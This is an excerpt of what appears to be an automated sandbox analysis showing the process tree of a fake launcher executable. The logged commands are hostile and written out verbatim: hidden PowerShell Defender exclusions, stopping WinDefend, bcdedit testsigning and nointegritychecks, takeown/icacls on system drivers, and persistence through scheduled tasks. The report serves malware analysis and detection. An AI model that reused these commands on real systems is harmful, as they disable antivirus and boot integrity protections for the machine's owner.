C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe' -ErrorAction SilentlyContinue"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Delete /TN "Consolidator_1fd55707" /F4⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Create /TN "Consolidator_1fd55707" /XML "C:\Users\Admin\AppData\Local\Temp\6e629447-40b8-4ff9-945e-9c0f00fdcdd9.xml" /F4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32\BootFiles\BootExecutor.exe' -ErrorAction SilentlyContinue"4⤵
- Command and Scripting Interpreter: PowerShell
- Loads dropped DLL
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Delete /TN "OneDrive Standalone Update Task_feb12467" /F4⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" F: /D4⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\net.exe"net" stop WinDefend4⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop WinDefend5⤵
-
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Create /TN "OneDrive Standalone Update Task_feb12467" /XML "C:\Users\Admin\AppData\Local\Temp\eed2e878-bf52-430a-9d6f-ed5d714c9e0e.xml" /F4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" G: /S4⤵
-
-
C:\Windows\SYSTEM32\net.exe"net" start WinDefend4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start WinDefend5⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Speech_OneCore\Engines\TTS\ru-RU' -ErrorAction SilentlyContinue"4⤵
- Command and Scripting Interpreter: PowerShell
- Loads dropped DLL
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Delete /TN "FamilySafetyRefreshTask_22d0cbb6" /F4⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Create /TN "FamilySafetyRefreshTask_22d0cbb6" /XML "C:\Users\Admin\AppData\Local\Temp\fd90d5d6-68cf-4da9-8d44-9883a2c6165e.xml" /F4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" G: /D4⤵
-
-
C:\Windows\SYSTEM32\bcdedit.exe"bcdedit" /set testsigning on4⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Delete /TN "ProgramDataUpdater_4fedbe7a" /F4⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" H: /S4⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Create /TN "ProgramDataUpdater_4fedbe7a" /XML "C:\Users\Admin\AppData\Local\Temp\d68a27b6-942b-4946-93dd-9498d8a066ef.xml" /F4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SYSTEM32\bcdedit.exe"bcdedit" /set nointegritychecks on4⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\SYSTEM32\icacls.exe"icacls" "C:\Windows\system32\drivers\null.sys" /grant administrators:F /t /c4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\takeown.exe"takeown" /f "C:\Windows\system32\drivers\null.sys" /a4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\icacls.exe"icacls" "C:\Windows\system32\drivers\null.sys" /grant administrators:F4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\icacls.exe"icacls" "C:\Windows\system32\drivers\beep.sys" /grant administrators:F /t /c4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
-
-
C:\Windows\SYSTEM32\takeown.exe"takeown" /f "C:\Windows\system32\drivers\beep.sys" /a4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\icacls.exe"icacls" "C:\Windows\system32\drivers\beep.sys" /grant administrators:F4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32\BootFiles' -ErrorAction SilentlyContinue"4⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
-
-
C:\Windows\SYSTEM32\icacls.exe"icacls" "C:\Windows\system32\drivers\rasl2tp.sys" /grant administrators:F /t /c4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\takeown.exe"takeown" /f "C:\Windows\system32\drivers\rasl2tp.sys" /a4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\icacls.exe"icacls" "C:\Windows\system32\drivers\rasl2tp.sys" /grant administrators:F4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\icacls.exe"icacls" "C:\Windows\system32\drivers\raspppoe.sys" /grant administrators:F /t /c4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\takeown.exe"takeown" /f "C:\Windows\system32\drivers\raspppoe.sys" /a4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\icacls.exe"icacls" "C:\Windows\system32\drivers\raspppoe.sys" /grant administrators:F4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\' -ErrorAction SilentlyContinue"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\icacls.exe"icacls" "C:\Windows\system32\drivers\raspptp.sys" /grant administrators:F /t /c4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\takeown.exe"takeown" /f "C:\Windows\system32\drivers\raspptp.sys" /a4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\icacls.exe"icacls" "C:\Windows\system32\drivers\raspptp.sys" /grant administrators:F4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\icacls.exe"icacls" "C:\Windows\system32\drivers\modem.sys" /grant administrators:F /t /c4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" H: /D4⤵
-
-
C:\Windows\SYSTEM32\takeown.exe"takeown" /f "C:\Windows\system32\drivers\modem.sys" /a4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" I: /S4⤵
-
-
C:\Windows\SYSTEM32\icacls.exe"icacls" "C:\Windows\system32\drivers\modem.sys" /grant administrators:F4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\icacls.exe"icacls" "C:\Windows\system32\drivers\parport.sys" /grant administrators:F /t /c4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'Boot.exe' -ErrorAction SilentlyContinue"4⤵
- Command and Scripting Interpreter: PowerShell
- Loads dropped DLL
-
-
C:\Windows\SYSTEM32\icacls.exe"icacls" "C:\Windows\system32\drivers\serenum.sys" /grant administrators:F /t /c4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\icacls.exe"icacls" "C:\Windows\system32\drivers\serial.sys" /grant administrators:F /t /c4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" I: /D4⤵
-
-
C:\Windows\SYSTEM32\icacls.exe"icacls" "C:\Windows\system32\drivers\usbprint.sys" /grant administrators:F /t /c4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" J: /S4⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'M1004NUS.exe' -ErrorAction SilentlyContinue"4⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'BootExecutor.exe' -ErrorAction SilentlyContinue"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'MicrosoftEdgeUpdate.exe' -ErrorAction SilentlyContinue"4⤵
- Command and Scripting Interpreter: PowerShell
- Loads dropped DLL
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" J: /D4⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" K: /S4⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" K: /D4⤵
- Enumerates connected drives
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" L: /S4⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" L: /D4⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" M: /S4⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" M: /D4⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" N: /S4⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" N: /D4⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" O: /S4⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" O: /D4⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" P: /S4⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" P: /D4⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" Q: /S4⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" Q: /D4⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" R: /S4⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" R: /D4⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" S: /S4⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" S: /D4⤵
- Enumerates connected drives
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" T: /S4⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" T: /D4⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" U: /S4⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" U: /D4⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" V: /S4⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" V: /D4⤵
- Enumerates connected drives
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" W: /S4⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" W: /D4⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" X: /S4⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" X: /D4⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" Y: /S4⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" Y: /D4⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" E: /S4⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" E: /D4⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" F: /S4⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" F: /D4⤵
- Enumerates connected drives
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" G: /S4⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" G: /D4⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" H: /S4⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" H: /D4⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" I: /S4⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" I: /D4⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" J: /S4⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" J: /D4⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" K: /S4⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" K: /D4⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" L: /S4⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" L: /D4⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" M: /S4⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" M: /D4⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" N: /S4⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" N: /D4⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" O: /S4⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" O: /D4⤵
- Enumerates connected drives
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" P: /S4⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" P: /D4⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" Q: /S4⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" Q: /D4⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" R: /S4⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" R: /D4⤵
- Enumerates connected drives
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" S: /S4⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" S: /D4⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" T: /S4⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" T: /D4⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" U: /S4⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" U: /D4⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" V: /S4⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" V: /D4⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" W: /S4⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" W: /D4⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" X: /S4⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" X: /D4⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" Y: /S4⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" Y: /D4⤵
- Enumerates connected drives
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"2⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"3⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe'4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"4⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe'5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"5⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe'6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"6⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"6⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe'7⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"7⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"7⤵
- Checks computer location settings
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe'8⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"8⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"8⤵
- Checks computer location settings
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe'9⤵
- Command and Scripting Interpreter: PowerShell
- Loads dropped DLL
-
-
C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"9⤵
- Badlisted process makes network request
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"9⤵
- Checks computer location settings
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe'10⤵
- Command and Scripting Interpreter: PowerShell
- Loads dropped DLL
-
-
C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"10⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"10⤵
- Checks computer location settings
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe'11⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"11⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"11⤵
- Checks computer location settings
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe'12⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"12⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"12⤵
- Checks computer location settings
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe'13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"13⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"13⤵
- Checks computer location settings
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe'14⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"14⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"14⤵
- Checks computer location settings
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe'15⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV116⤵
-
-
-
